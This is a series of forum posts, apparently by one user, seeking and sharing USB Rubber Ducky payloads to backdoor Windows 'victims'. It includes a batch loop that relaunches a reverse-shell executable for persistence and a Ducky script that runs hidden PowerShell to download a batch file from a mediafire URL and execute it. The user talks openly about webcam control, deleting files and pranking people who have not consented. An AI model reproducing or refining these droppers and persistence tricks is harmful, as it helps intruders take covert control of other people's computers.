Haxineer1337

Can't we just use a downloader and a batch file? Also, if we use a remote ip can we get remote access?

I think this would work: [bATCH FILE] @echo off :TOP /t timeout 60 powershell Stop-Process -processname C:\reverse.exe powershell Start-Process C:\reverse.exe GOTO TOP The only problem is that it kinda restarts the program even if it running. I imagine that being able to not restart if it's already on would be pretty difficult. If you have access with netcat to their computer, I think you would be able to move this file to the startup folder. [sAVE IT AS A .BAT file.]

I am going to try to make a powershell script to do so. It might be a day or two.

Yes, but I need help making the actual backdoor..

[Help] I need a backdoor dropper for the ducky, or help on making one. What it needs to do: Work on windows (victim) Work over the internet Be sort-of fast (like, not typing out stuff forever) Persistent (Across reboots) I can use LINUX, BACKTRACK, WINDOWS, or any other linux distro, like KALI. I can also upload an exe to mediafire for wget and execute (I don't need help with that). I just need help making the file and or ducky script. -Thanks in advance.

Ok. I will provide screenshots soon.

Sorry about the preschool remark. I know media fire doesn't allow direct links. I got it by right clicking the download button, selecting inspect element, and finding the link that the button lead you to. I've tested it on another computer and it's worked.

@xcell You obviously haven't tested it either [or been to preschool for that matter], because that, my friend, is a direct download link. It has been fully tested and works 100%. Good day, sir. PS: Do you really think that pop ups are more dangerous than a backdoor? Back doors let you take full control of their computer. You can delete files, use their webcam, open 100s of web pages, etc.. That interrupts their work flow even more than a pop up powershell that's easy to get rid of.

Then what's the point of having a ducky if you are using it for "demonstration"? I payed 50 dollars for something that makes me laugh, not "demonstrate".

[Told you it was coming soon...] [bROKEN AS OF NOW, MEDIAFIRE HATES ME] TROLL FACE VIRUS PAYLOAD: [What it does]: Runs powershell to wget and execute a bat file that wgets and executes the requirements [HIDDEN] Every 60 seconds it loads up your browser if not already opened and opens a troll face. The only way to remove it is to go to task manager and end cmd.exe and timeout.exe. Works on windows 7, replace CONTROL ESCAPE with GUI r for it to work with windows 8 and 7. Working on startup persistence SCRIPT: DELAY 20000 CONTROL ESCAPE DELAY 1100 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://download1585.mediafire.com/3j2upgu7avbg/8runbhhu8fjrjah/Runner1.bat','C:\windowstp.bat'); Start-Process "C:\windowstp.bat" ENTER

That was the problem. It works now, thanks.

Thanks for all the help. I will try today at about 4 and tell you if it works.

Thanks for the example. Can someone help with the downloader problem? Thanks protocol

Thanks. Do you know powershell?

Thanks, can you shed some light on this problem?